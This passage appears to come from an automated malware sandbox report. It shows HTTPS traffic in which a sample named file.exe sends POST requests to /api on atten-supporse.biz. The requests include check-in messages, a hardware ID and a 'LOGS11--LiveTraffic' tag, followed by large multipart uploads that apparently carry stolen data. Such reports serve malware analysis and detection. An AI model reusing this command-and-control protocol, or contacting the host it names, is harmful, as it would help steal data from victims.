Dec 9, 2024 21:19:38.353579998 CET	1236	IN	Data Raw: 5c 38 19 5a 68 7a db 08 84 9a 45 60 a3 89 0d 45 3a ea e7 30 47 55 21 5e ba 8f c0 35 b4 9f 54 6b a9 64 ee 2b c7 84 01 88 80 7e 98 41 90 91 01 3b 47 6a d2 2f 55 fd dc 26 8e 5a bc ac 4b 78 52 24 3e 6b f5 fb 82 5a b9 8c eb 87 2b ac 4b 78 52 96 3c 6f Data Ascii: \8ZhzE`E:0GU!^5Tkd+~A;Gj/U&ZKxR$>kZ+KxR<o~Z*\+v4-WJ=s@Zo4)I\|lyF+S^}uvWQl<$Xy.eeju3l\|~ .%`3Qf$F2\7GqJH!^]bgV@HLYPteH

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	104.21.48.1	443	7536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:19:19 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-09 20:19:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 20:19:20 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:19:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b5c54r2f2ds2fb555jm1fskqga; expires=Fri, 04-Apr-2025 14:05:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5bbdy383bKLaK4M8UsCHXsjqP6mRpWVAMuFqnrSR2peRh%2Bo63RYkPJmj52Kw%2F%2FASQUPzgoQTDXmrjOqC2ezZrO1aAj1fMSNXM5nKAkThEADs3zlHy2Wpje3jUQ4rIkHjr%2BRJkHw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7b07fda94f797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1621&min_rtt=1610&rtt_var=625&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1719670&cwnd=151&unsent_bytes=0&cid=4858be719579e5eb&ts=1020&x=0"
2024-12-09 20:19:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 20:19:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49703	104.21.48.1	443	7536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:19:21 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-09 20:19:21 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-09 20:19:22 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:19:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=425frt78t7bbs1176g4gdbuc4s; expires=Fri, 04-Apr-2025 14:06:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gJRqQfKtKN8Oxjcb61hYpWFdHjGVoV0wkDc%2FLVOU%2FxjoFHR80BZ%2F%2FmTpnrnQmu5ZYMv5CXAogv6fd%2FfV0b7fe%2FsLxvkYSDwcc04HKtgJGeFvTzY8ATZYubzydFJRDmf2OPBhVtY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7b08f193e4231-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1586&rtt_var=603&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1800246&cwnd=127&unsent_bytes=0&cid=c2c7092b43c546b5&ts=1133&x=0"
2024-12-09 20:19:22 UTC	347	IN	Data Raw: 34 39 31 63 0d 0a 38 6b 73 44 7a 49 4d 34 72 2b 53 48 77 77 48 36 32 43 4a 38 32 42 71 65 5a 50 71 65 53 63 45 61 4f 37 48 30 32 52 64 39 4d 39 32 4a 61 58 58 75 75 51 79 44 78 76 53 6d 49 38 43 73 55 41 6d 39 4e 72 77 46 6e 72 78 7a 70 33 74 58 77 70 48 31 4e 51 74 65 2f 38 67 74 59 71 44 77 58 59 50 47 34 72 73 6a 77 49 4e 5a 58 72 31 30 76 46 37 59 2b 79 4f 6a 65 31 66 54 6c 62 4a 34 44 56 2b 2b 6d 69 64 6b 70 4f 5a 62 79 34 58 72 72 6d 53 66 76 55 4d 57 74 6e 50 7a 44 4a 65 38 5a 65 4e 2f 51 5a 50 4f 2b 31 6f 59 52 37 79 2f 4b 6e 43 6e 6f 55 57 44 6e 36 57 6d 62 39 6a 69 41 42 32 39 65 50 49 43 6e 76 55 68 71 58 4a 66 30 70 43 7a 5a 78 52 56 74 5a 6f 70 5a 36 58 73 55 74 2b 49 34 61 6c 76 6d 62 64 44 58 76 51 34 2b 78 37 59 70 47 76 77 53 6c 72 43 68 Data Ascii: 491c8ksDzIM4r+SHwwH62CJ82BqeZPqeScEaO7H02Rd9M92JaXXuuQyDxvSmI8CsUAm9NrwFnrxzp3tXwpH1NQte/8gtYqDwXYPG4rsjwINZXr10vF7Y+yOje1fTlbJ4DV++midkpOZby4XrrmSfvUMWtnPzDJe8ZeN/QZPO+1oYR7y/KnCnoUWDn6Wmb9jiAB29ePICnvUhqXJf0pCzZxRVtZopZ6XsUt+I4alvmbdDXvQ4+x7YpGvwSlrCh
2024-12-09 20:19:22 UTC	1369	IN	Data Raw: 38 68 70 5a 36 44 67 56 38 32 55 37 61 70 6f 6e 61 68 4c 46 37 64 31 2f 41 75 53 38 79 69 6a 66 31 50 5a 6d 62 46 78 45 6c 79 35 6b 43 6b 68 34 4b 46 64 31 63 61 39 34 55 43 64 71 6b 63 53 72 44 72 47 52 6f 65 79 4d 75 4e 2f 56 5a 50 4f 2b 33 30 61 55 72 79 62 4a 6d 4b 6d 36 6b 6a 4e 6c 4f 4f 73 5a 6f 71 38 52 52 43 77 65 2b 34 4d 6c 76 6f 6f 71 6e 4e 51 31 70 47 2f 4e 56 45 52 75 49 68 70 4f 65 37 41 56 38 61 4b 37 37 5a 6a 32 4b 55 4f 42 2f 70 2f 38 45 62 41 76 43 2b 69 66 46 6a 58 6d 4c 56 78 45 31 65 78 6e 53 5a 6e 70 4f 46 64 78 34 37 74 6f 47 36 54 74 55 41 62 74 33 7a 36 43 70 6e 35 61 2b 30 34 58 73 76 57 34 7a 55 78 56 72 79 43 61 31 53 74 37 31 54 4b 6b 4b 57 2b 4c 59 48 36 52 78 4c 36 49 4c 77 49 6e 66 4d 35 6f 6d 70 63 33 59 53 33 63 42 6c 63 Data Ascii: 8hpZ6DgV82U7aponahLF7d1/AuS8yijf1PZmbFxEly5kCkh4KFd1ca94UCdqkcSrDrGRoeyMuN/VZPO+30aUrybJmKm6kjNlOOsZoq8RRCwe+4MlvooqnNQ1pG/NVERuIhpOe7AV8aK77Zj2KUOB/p/8EbAvC+ifFjXmLVxE1exnSZnpOFdx47toG6TtUAbt3z6Cpn5a+04XsvW4zUxVryCa1St71TKkKW+LYH6RxL6ILwInfM5ompc3YS3cBlc
2024-12-09 20:19:22 UTC	1369	IN	Data Raw: 53 74 37 31 54 4b 6b 4b 57 2b 4c 59 48 36 52 78 4c 36 49 4c 77 4c 6b 50 6b 75 72 48 6c 54 33 5a 4f 78 65 52 64 66 76 49 49 6d 5a 61 37 74 55 73 65 4c 36 36 56 72 6b 62 46 4c 47 4c 70 35 39 6b 62 57 76 43 79 37 4f 41 47 54 6f 72 78 35 45 6c 37 39 70 53 70 76 6f 4f 5a 4d 6a 5a 6d 72 75 43 4f 66 74 67 42 47 2b 6e 54 31 42 70 50 32 4c 36 4e 2f 56 4e 61 56 76 48 59 53 56 72 57 65 4c 6d 57 69 36 46 66 4c 68 75 4b 6c 5a 6f 71 2f 53 52 4b 32 4f 4c 4a 47 6e 2b 52 72 2b 7a 68 32 31 49 43 34 57 68 78 41 74 74 41 32 4c 37 65 68 58 63 48 47 76 65 46 6b 6e 62 4a 4c 47 4c 4a 34 37 67 4f 57 39 79 71 70 66 6c 6a 65 6d 72 31 31 48 6c 47 35 6e 43 6c 6d 71 66 4e 49 79 49 44 33 71 79 50 57 2b 6b 63 47 2b 69 43 38 4d 49 6a 72 4f 72 55 36 62 4e 43 59 74 58 49 4a 45 61 44 65 4d Data Ascii: St71TKkKW+LYH6RxL6ILwLkPkurHlT3ZOxeRdfvIImZa7tUseL66VrkbFLGLp59kbWvCy7OAGTorx5El79pSpvoOZMjZmruCOftgBG+nT1BpP2L6N/VNaVvHYSVrWeLmWi6FfLhuKlZoq/SRK2OLJGn+Rr+zh21IC4WhxAttA2L7ehXcHGveFknbJLGLJ47gOW9yqpfljemr11HlG5nClmqfNIyID3qyPW+kcG+iC8MIjrOrU6bNCYtXIJEaDeM
2024-12-09 20:19:22 UTC	1369	IN	Data Raw: 56 78 35 54 74 72 32 36 54 74 55 73 4d 75 6e 58 34 43 70 7a 30 49 4b 6b 34 46 35 4f 52 6f 7a 56 48 45 59 71 64 4a 6d 47 74 39 78 72 53 79 50 7a 68 5a 4a 54 36 47 46 36 32 64 76 77 4a 6c 50 41 67 71 33 6c 56 33 5a 47 2b 66 42 64 5a 72 5a 45 74 61 61 2f 76 56 63 79 43 34 4b 52 6e 6e 37 35 47 45 66 6f 32 76 41 47 41 76 48 50 6a 56 33 37 6d 31 4a 70 50 58 30 37 78 69 57 6c 6d 6f 71 45 43 6a 59 72 6d 72 57 75 58 76 45 6b 53 73 48 48 33 43 70 50 34 4a 36 70 39 58 39 4b 54 76 6e 51 62 58 62 57 57 4b 6d 4b 68 37 6c 58 46 78 71 76 68 5a 49 44 36 47 46 36 66 62 2f 63 49 6e 72 77 30 37 57 45 5a 31 4a 72 37 4c 56 39 64 74 70 59 76 5a 4b 4c 67 58 4d 57 44 37 61 56 69 6e 72 78 44 45 62 35 39 2f 51 6d 63 38 43 57 70 65 56 6a 66 6e 62 52 2b 47 68 48 78 30 43 35 35 37 72 Data Ascii: Vx5Ttr26TtUsMunX4Cpz0IKk4F5ORozVHEYqdJmGt9xrSyPzhZJT6GF62dvwJlPAgq3lV3ZG+fBdZrZEtaa/vVcyC4KRnn75GEfo2vAGAvHPjV37m1JpPX07xiWlmoqECjYrmrWuXvEkSsHH3CpP4J6p9X9KTvnQbXbWWKmKh7lXFxqvhZID6GF6fb/cInrw07WEZ1Jr7LV9dtpYvZKLgXMWD7aVinrxDEb59/Qmc8CWpeVjfnbR+GhHx0C557r
2024-12-09 20:19:22 UTC	1369	IN	Data Raw: 36 61 5a 6d 6b 37 56 4d 58 76 51 34 2b 78 37 59 70 47 75 4e 63 30 72 45 6c 62 56 2b 43 55 72 2f 6a 32 64 34 37 75 5a 57 6a 64 36 6c 6f 6d 69 54 76 6b 41 53 75 6e 7a 78 42 6f 72 7a 4c 4b 52 78 55 73 47 63 76 48 49 55 57 62 53 66 4c 33 4f 69 37 30 6a 49 6c 50 66 68 4c 64 69 39 57 46 37 69 4f 4d 6f 42 69 4f 77 6f 34 55 6c 50 30 49 43 77 65 42 4d 52 6f 4e 34 77 49 61 6e 74 47 70 58 47 34 36 35 71 6d 37 56 42 46 37 5a 31 2b 51 2b 64 2f 53 32 6e 63 6c 50 54 6b 4c 31 30 47 6c 75 38 6b 53 4e 6f 71 65 6c 64 7a 70 53 6c 37 79 4f 66 6f 67 42 47 2b 6c 48 37 46 4a 62 73 61 37 77 32 51 4a 4f 52 74 7a 56 48 45 62 75 61 4a 6d 57 70 37 56 7a 49 67 4f 69 67 62 4a 6d 36 54 78 71 78 63 66 6f 48 6c 66 6b 6d 70 32 70 54 32 4a 6d 33 66 42 4e 63 2f 39 35 70 5a 72 61 68 41 6f 32 Data Ascii: 6aZmk7VMXvQ4+x7YpGuNc0rElbV+CUr/j2d47uZWjd6lomiTvkASunzxBorzLKRxUsGcvHIUWbSfL3Oi70jIlPfhLdi9WF7iOMoBiOwo4UlP0ICweBMRoN4wIantGpXG465qm7VBF7Z1+Q+d/S2nclPTkL10Glu8kSNoqeldzpSl7yOfogBG+lH7FJbsa7w2QJORtzVHEbuaJmWp7VzIgOigbJm6TxqxcfoHlfkmp2pT2Jm3fBNc/95pZrahAo2
2024-12-09 20:19:22 UTC	1369	IN	Data Raw: 35 57 77 55 68 53 78 66 66 45 4c 6c 66 38 74 70 58 4e 56 77 5a 2b 37 64 68 51 52 38 64 41 75 65 65 36 35 47 75 36 52 38 36 74 6b 6c 4b 78 4c 48 37 6c 75 38 52 62 59 73 6d 75 79 66 30 69 54 7a 71 31 6c 43 46 61 67 33 6a 41 68 71 65 30 61 6c 63 62 6a 71 47 57 66 76 45 34 4d 76 33 37 7a 43 5a 48 31 4c 36 74 37 57 64 65 53 76 48 41 63 58 62 53 58 4b 6d 36 71 36 46 54 45 69 61 58 76 49 35 2b 69 41 45 62 36 57 65 63 46 6c 50 46 72 76 44 5a 41 6b 35 47 33 4e 55 63 52 73 35 34 73 59 61 54 6e 58 73 69 41 37 36 52 6a 6b 37 6c 50 47 72 78 38 38 77 61 54 39 53 71 6c 66 56 50 59 6b 4c 5a 32 47 56 66 2f 33 6d 6c 6d 74 71 45 43 6a 61 62 2b 72 47 2b 66 2b 6c 39 51 6f 7a 6a 37 43 74 69 6b 61 36 68 30 58 64 53 57 74 6e 59 58 56 4c 75 61 4c 47 47 6d 38 31 4c 4e 67 66 65 7a Data Ascii: 5WwUhSxffELlf8tpXNVwZ+7dhQR8dAuee65Gu6R86tklKxLH7lu8RbYsmuyf0iTzq1lCFag3jAhqe0alcbjqGWfvE4Mv37zCZH1L6t7WdeSvHAcXbSXKm6q6FTEiaXvI5+iAEb6WecFlPFrvDZAk5G3NUcRs54sYaTnXsiA76Rjk7lPGrx88waT9SqlfVPYkLZ2GVf/3mlmtqECjab+rG+f+l9Qozj7Ctika6h0XdSWtnYXVLuaLGGm81LNgfez
2024-12-09 20:19:22 UTC	1369	IN	Data Raw: 42 47 2b 6b 61 38 46 4a 76 73 4b 4b 78 70 5a 35 50 4f 6f 6b 74 66 57 71 6d 58 4f 57 4b 34 36 6c 66 42 6c 39 76 68 4f 38 7a 6f 45 6b 7a 6f 4b 75 4e 47 68 38 4e 6c 34 33 6b 5a 69 36 2b 69 4e 51 6b 52 35 38 4a 6e 49 62 79 68 41 6f 33 42 35 72 4e 78 6e 72 6c 57 48 66 31 47 77 69 47 4f 39 69 79 7a 66 30 37 63 31 76 55 31 45 42 48 6e 71 57 6c 6f 71 66 70 4c 32 34 76 31 70 69 4f 6e 39 41 41 47 2b 69 43 38 4d 35 76 79 4a 61 52 75 53 4a 36 78 72 58 38 59 51 62 69 48 4a 69 48 67 6f 56 79 4e 33 72 62 76 49 35 79 72 41 45 62 71 4b 71 64 54 79 36 74 37 38 57 63 58 79 74 61 74 4e 55 63 44 38 64 41 37 49 66 61 68 48 63 36 55 39 36 64 67 6a 72 6b 48 49 49 52 66 35 67 75 65 36 7a 71 64 52 6c 37 4a 6d 37 31 69 44 68 32 71 6b 79 64 76 71 66 63 61 67 38 62 71 34 54 75 68 2b Data Ascii: BG+ka8FJvsKKxpZ5POoktfWqmXOWK46lfBl9vhO8zoEkzoKuNGh8Nl43kZi6+iNQkR58JnIbyhAo3B5rNxnrlWHf1GwiGO9iyzf07c1vU1EBHnqWloqfpL24v1piOn9AAG+iC8M5vyJaRuSJ6xrX8YQbiHJiHgoVyN3rbvI5yrAEbqKqdTy6t78WcXytatNUcD8dA7IfahHc6U96dgjrkHIIRf5gue6zqdRl7Jm71iDh2qkydvqfcag8bq4Tuh+
2024-12-09 20:19:22 UTC	1369	IN	Data Raw: 34 70 46 62 4b 70 33 37 77 4c 77 6d 42 69 66 56 73 58 30 66 2f 79 48 73 76 37 76 4d 61 6c 63 61 69 6f 6e 47 4b 76 45 4d 49 75 54 2f 43 4f 4c 2f 79 4c 4b 4a 75 53 63 53 5a 68 55 73 4b 55 72 47 65 4c 6e 65 2f 6f 52 53 4e 69 61 58 35 57 74 6a 79 41 43 48 30 4f 4f 52 47 77 4c 77 65 6f 48 5a 58 31 49 43 71 4f 44 68 66 75 4a 45 2f 63 62 6e 75 47 6f 50 47 34 2b 45 37 79 76 51 41 47 71 73 34 70 46 62 4b 70 33 37 77 4c 77 6d 42 69 66 56 73 58 30 66 2f 79 48 73 76 37 76 4d 61 6c 63 61 69 6f 6e 47 4b 76 45 4d 49 75 54 2f 43 4f 4c 2f 79 4c 4b 4a 75 53 63 53 5a 39 46 73 70 63 49 47 75 50 47 4b 67 37 31 33 62 6c 36 58 76 49 35 66 36 47 43 66 36 4d 4c 77 35 31 72 77 7a 34 79 41 5a 35 70 57 31 65 78 68 48 72 74 30 4f 62 36 6e 67 54 4e 32 52 36 75 35 4e 72 70 73 41 55 50 Data Ascii: 4pFbKp37wLwmBifVsX0f/yHsv7vMalcaionGKvEMIuT/COL/yLKJuScSZhUsKUrGeLne/oRSNiaX5WtjyACH0OORGwLweoHZX1ICqODhfuJE/cbnuGoPG4+E7yvQAGqs4pFbKp37wLwmBifVsX0f/yHsv7vMalcaionGKvEMIuT/COL/yLKJuScSZ9FspcIGuPGKg713bl6XvI5f6GCf6MLw51rwz4yAZ5pW1exhHrt0Ob6ngTN2R6u5NrpsAUP
2024-12-09 20:19:22 UTC	1369	IN	Data Raw: 69 50 73 56 6e 56 56 4c 31 49 61 34 4e 79 35 48 76 4a 41 6e 5a 75 36 76 47 74 58 47 76 65 46 4f 69 72 31 51 48 66 6f 32 76 41 72 59 70 47 75 75 61 6c 37 44 6c 66 64 79 42 56 62 2f 6a 32 64 34 37 76 63 61 6c 64 57 72 34 58 48 59 34 67 42 5a 74 48 58 39 42 5a 62 2f 4f 62 46 2b 57 73 57 56 2f 45 73 68 66 4b 32 58 4f 57 4c 73 30 46 66 4a 6b 50 43 69 63 35 2b 45 66 6a 4f 6f 66 2b 77 46 32 74 41 73 72 6e 52 6e 37 61 47 71 63 67 38 54 6d 5a 4d 2f 59 75 36 76 47 74 58 47 76 65 46 4f 69 72 31 51 48 66 68 55 2b 77 75 55 76 44 54 74 59 52 6e 46 31 75 4d 6d 55 52 47 74 30 48 45 68 36 65 4a 49 33 34 44 6d 74 32 44 66 68 48 34 7a 71 48 2f 73 42 64 72 4e 4a 71 64 75 54 4e 43 47 76 45 73 68 66 4b 32 58 4f 57 4c 73 78 47 43 50 74 2f 4f 69 59 35 61 39 41 46 44 36 59 4c 78 Data Ascii: iPsVnVVL1Ia4Ny5HvJAnZu6vGtXGveFOir1QHfo2vArYpGuual7DlfdyBVb/j2d47vcaldWr4XHY4gBZtHX9BZb/ObF+WsWV/EshfK2XOWLs0FfJkPCic5+EfjOof+wF2tAsrnRn7aGqcg8TmZM/Yu6vGtXGveFOir1QHfhU+wuUvDTtYRnF1uMmURGt0HEh6eJI34Dmt2DfhH4zqH/sBdrNJqduTNCGvEshfK2XOWLsxGCPt/OiY5a9AFD6YLx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49720	104.21.48.1	443	7536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:19:26 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=M82EO20Z8CIF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20371 Host: atten-supporse.biz
2024-12-09 20:19:26 UTC	15331	OUT	Data Raw: 2d 2d 4d 38 32 45 4f 32 30 5a 38 43 49 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 33 41 41 30 46 38 35 39 45 39 31 34 32 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4d 38 32 45 4f 32 30 5a 38 43 49 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4d 38 32 45 4f 32 30 5a 38 43 49 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 38 32 45 4f 32 30 5a Data Ascii: --M82EO20Z8CIFContent-Disposition: form-data; name="hwid"C3AA0F859E9142A123D904AF30EFEBBC--M82EO20Z8CIFContent-Disposition: form-data; name="pid"3--M82EO20Z8CIFContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--M82EO20Z
2024-12-09 20:19:26 UTC	5040	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 32 78 29 1e bc 14 fc db e0 ab e6 03 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6K~`iO\_,mi`m?ls}Qm/X2x)
2024-12-09 20:19:26 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:19:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uo8gfer2i332qpdt8frqtudpcu; expires=Fri, 04-Apr-2025 14:06:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TPtqjcwoeKGf84hqPlKllfQynzNqNJ6LMnjardkUiew1btBvMi3aQH1Ul7ZY7dECwCgm7KmgiQHwX41kirMnP4geTmR%2BJqIjxwpbrcvJN8MV82zV6gqZNmonHEGDo961ng8URU8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7b0a8a916f797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1673&min_rtt=1669&rtt_var=629&sent=16&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21329&delivery_rate=1749550&cwnd=151&unsent_bytes=0&cid=5e35f3f9812abc1b&ts=1071&x=0"
2024-12-09 20:19:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:19:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49729	104.21.48.1	443	7536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:19:28 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=V1ZA7CPBEI1Q9QB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1206 Host: atten-supporse.biz
2024-12-09 20:19:28 UTC	1206	OUT	Data Raw: 2d 2d 56 31 5a 41 37 43 50 42 45 49 31 51 39 51 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 33 41 41 30 46 38 35 39 45 39 31 34 32 41 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 56 31 5a 41 37 43 50 42 45 49 31 51 39 51 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 56 31 5a 41 37 43 50 42 45 49 31 51 39 51 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --V1ZA7CPBEI1Q9QBContent-Disposition: form-data; name="hwid"C3AA0F859E9142A123D904AF30EFEBBC--V1ZA7CPBEI1Q9QBContent-Disposition: form-data; name="pid"1--V1ZA7CPBEI1Q9QBContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-09 20:19:29 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:19:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7kb4r94aumetuhpl9545dikoq1; expires=Fri, 04-Apr-2025 14:06:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FZumD5Z0XE8GHQ4F%2FDuhjjq9JR4z7iM86QS4K3DoBrwNIrGlybT6Hxi3JNMBe41kq1VcMKlYzTg65%2BCC81%2B17SqRAln1BuPB051jLius7mKw8JXQNAPYzV9Mlm0CCxpe3Iwh9aE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7b0b72904f797-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1677&min_rtt=1674&rtt_var=634&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2122&delivery_rate=1716637&cwnd=151&unsent_bytes=0&cid=1ebc981cae19bc0c&ts=734&x=0"
2024-12-09 20:19:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:19:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49744	104.21.48.1	443	7536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:19:30 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HXSDMYUB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550305 Host: atten-supporse.biz
